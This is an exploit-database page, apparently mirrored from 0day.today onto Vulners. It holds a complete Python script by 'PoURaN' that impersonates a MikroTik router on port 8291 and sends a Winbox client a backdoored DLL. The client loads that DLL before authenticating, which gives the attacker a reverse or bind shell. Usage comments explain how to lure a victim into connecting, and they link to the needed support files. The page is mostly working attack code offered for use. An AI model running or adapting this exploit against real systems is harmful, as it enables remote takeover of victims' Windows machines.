Lucene search
K

Mikrotik Winbox Remote Code Execution

🗓️ 29 Apr 2012 00:00:00Reported by PoURaNType 
zdt
 zdt
🔗 0day.today👁 122 Views

Mikrotik Winbox Remote Code Execution vulnerability in all Winbox versions. Exploits DLL loading before authentication

Code
#!/usr/bin/python
# Exploit Title: 	Mikrotik's Winbox Remote Code Execution
# Author: 			PoURaN
# Software Link: 	http://www.mikrotik.com/download.html
# Version: 			probably all winbox versions. Tried 2.2.7 - 2.2.18
# Tested on: 		Windows XP SP2, SP3, Windows 7 SP1, Win2k8, Win2k3, Wine
# <> Other files needed by this exploit can be downloaded from http://www.133tsec.com/wp-content/uploads/2012/04/mtikInject.zip <>
#
#  Vulnerability Description 
# ===========================
# When you connect to mikrotik router using winbox, it is asking for an index
# with plugins (DLLs) their size, version and CRCs.
# If something new is found, or if that client haven't connected to that mikrotik version yet,
# winbox requests the new plugin(s) (.dll file(s)) from mikrotik router.
# When winbox downloads all the DLLs required in order to load the controlling interface of the
# mikrotik router, loads the DLLs and then tries to make an authentication
# to the remote mikrotik router. The vulnerability exploits that winbox
# is loading the remote dlls before authentication and without any further
# confirmation of plugins originality.
#
#  The exploit
# =============
# This is a winbox vulnerability which exploits the way that winbox is working.
# That is the reason why it's working on all winbox versions (even on today's version)
# This exploit is based in leading (socialy) the victim to connect to this malicious
# winbox listener, using his/her winbox client.
# More details in www.133tsec.com
# 
#  Usage
# =======
# details in www.133tsec.com
# Download all files that exploit needs from http://www.133tsec.com/wp-content/uploads/2012/04/mtikInject.zip
# In order to use this exploit successfully you have to :
#
# 1. Have index.bin in the folder where .py script is running
# 2. Have all original DLLs of the spoofed index in the folder where .py script is running
# 3. Make a reverse/bind shell DLL, compress it with gzip and place it in script's folder and
#    enter it's filename when script will ask for it.
#	  *** Your DLL's filename must have 7 chars length (ex. ppp.dll) ***
#	  *** The gziped version of the dll, must be between 10k-99k (must have 5 digits of size) ***
#	  The above 2 restrictions caused to the fact that i don't create the index dynamically from the script..
# 4. Social your victim to connect to the machine running the script, and gain the shell u r expecting
#
# <> Greetz flies to mbarb, dennis, andreas, AWMN and all friends and researchers out there <>
# 
import socket,sys,os,struct,random

global fPointer

def SendFile(conn, filename):
	f = open(filename, 'rb')
	global fPointer
	f.seek(fPointer)
	fData = f.read(66049)
	fPointer += 66049
	f.close()
	data = conn.send(fData)


random.seed()
print "\n+-----------------------------------+"
print "|                                   |\\"
print "| Winbox remote client DLL injector | |"
print "|        = coded by PoURaN =        | |"
print "+___________________________________+ |"
print " \___________________________________\|"

randByte = str(random.randint(100,999))		# i need 3 random digits for a random crc
filename = raw_input("\nEnter the compressed filename: ")
fileRequest = 'ppp.dll'		# this will be the file in the index, that the client will request
							# and we'll send the backdoored dll instead of the original one.

try:	# Open the compressed file (gzip format) in order to send it later..
	f = open(filename, 'rb')
	buff = f.read()
	f.close()
except:
	print "[-] Error opening file"
	sys.exit(0)

# This number is very critical for the other structures
compressedFileSize = os.path.getsize(filename)
if compressedFileSize < 10000 or compressedFileSize > 99000:
	print "[-] Error. Compressed filesize must be between 10k-99k! Read comments or visit 133tsec.com for details"
	sys.exit(0)

# Make the index include the size of the custom dll file... overwrite the ppp.dll size
# ( That's why we need 7 chars filelength and 5 chars filesize.. got it? :D ok am a bit lazy... ;p )
f = open('index514.dat', 'rb')
myIndex = f.read()
f.close()
myIndex = myIndex[0:0x9F] + str(compressedFileSize) + myIndex[0xA4:]	# changing filesize dynamically, in hardcoded ocffsets! **** THIS IS WRONG IF THE FILESIZE IS NOT 5 DIGITS! *****
myIndex = myIndex[0:0x9B] + randByte+" " + myIndex[0x9F:]		# changing crc to a random one so am sure every time client is downloading my backdoor again.

WinboxHeader = 	("\xFF\x02" +							# WORD: hardcoded
				#"\x70\x70\x70\x2E\x64\x6C\x6C" +		# VARIABLE-SIZED: filename (printable chars) MAX:11 chars
				fileRequest +			# **** THIS IS WRONG IF THE FILENAME LENGTH IS NOT 7 CHARS! *****
				"\x00\x00\x00\x00" +					# VAR-SIZED: zero bytes till strlen(filename) + \x00*X = 11 bytes. These zeroes may not exist if strlen(filename) = 11
				"\x01" +								# BYTE: hardcoded. signals the end of zeros and beginning of the length
				struct.pack('>h',compressedFileSize) +	# WORD: length of gzip'ed file in big endian
				"\x00\x00\x00\x00")						# DWORD: hardcoded zeros before the gzip magic bytes.

print "\n\n[+] File \'"+filename+"\' opened with size "+str(compressedFileSize)+" bytes"
print "[+] Waiting connection on port 8291.."
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.bind(('', 8291))
s.listen(1)
conn, addr = s.accept()
print '[+] Connection received by', addr
print "[+] Waiting for index."
data = conn.recv(1024)
if data.find("\x12\x02"+"index"+"\x00") > -1:
	print "[+] Index received!"
else:
	print "[+] Wrong index.. Exiting.."
	sys.exit(0)
print "[+] Sending DLL Index (Step 1)"

# Step 1 : Sending the dll index list...
data = conn.send(myIndex)
data = conn.recv(1024)

global fPointer
fPointer=0

# checking if client requests the .dll we sent.. this depends to the CRC sent in Step 1
while data.find("\x12\x02") > -1:		# If a file is requested.....
	if data.find(fileRequest) > -1:		# if the file is our backdoored compressed DLL.. ;)
		print "[+] Client just requested " + fileRequest
		print "[+] Sending compressed file with custom header (Step 2)"
		#########################################################################################
		# Step 2 : Sending the gzip file raw data with the custom header						#
		#########################################################################################
		#	Constructing the custom compressed file format										#
		#########################################################################################
		#	1. The header of the gzip file must be in format: WinboxHeader						#
		#	2. The gzip contents must contain the word 0xFF 0xFF in every 257 bytes (0x101)		#
		#	3. The gzip last 0x101-chunk must contain the word 0x(size till end of file) 0xFF	#
		#########################################################################################
		# Give the spark
		customGzip = WinboxHeader
		customGzip += buff[0:0xED]
		customGzip += '\xFF\xFF'
		#Loop the most data
		for i in range(0x1EC, len(buff), 0xFF):
			customGzip += buff[i-0xFF:i]
			if 	0x101 > (len(buff)-i):		# if it's the last FF FF appended, then do it \x[(bytesToEOF)byte]\xFF
				customGzip += struct.pack('=b', len(buff)-i) + '\xFF'
			else:
				customGzip += '\xFF\xFF'
		#..and finish it
		customGzip += buff[i:len(buff)]
		data = conn.send(customGzip)
		print "[+] Compressed file sent"
		data = conn.recv(1024)
	else:			# else it's requesting another file from index..
		while (data[2:].split("\x00")[0]!=fileRequest) and data[0:2]=="\x12\x02":		# send other index's dll except the backdoored...
			fPointer=0
			print "[x] Client is requesting "+data[2:].split("\x00")[0]+" file.."
			CurrentRequest=data[2:].split("\x00")[0]
			while data[2:].split("\x00")[0]==CurrentRequest:
				SendFile(conn, CurrentRequest)
				data = conn.recv(1024)
				print hex(struct.unpack('=B', data[18:19])[0]), hex(struct.unpack('=B', data[19:20])[0])
print "Succeeded.. Enjoy!"
conn.close()



#  0day.today [2018-03-19]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

29 Apr 2012 00:00Current
7.1High risk
Vulners AI Score7.1
122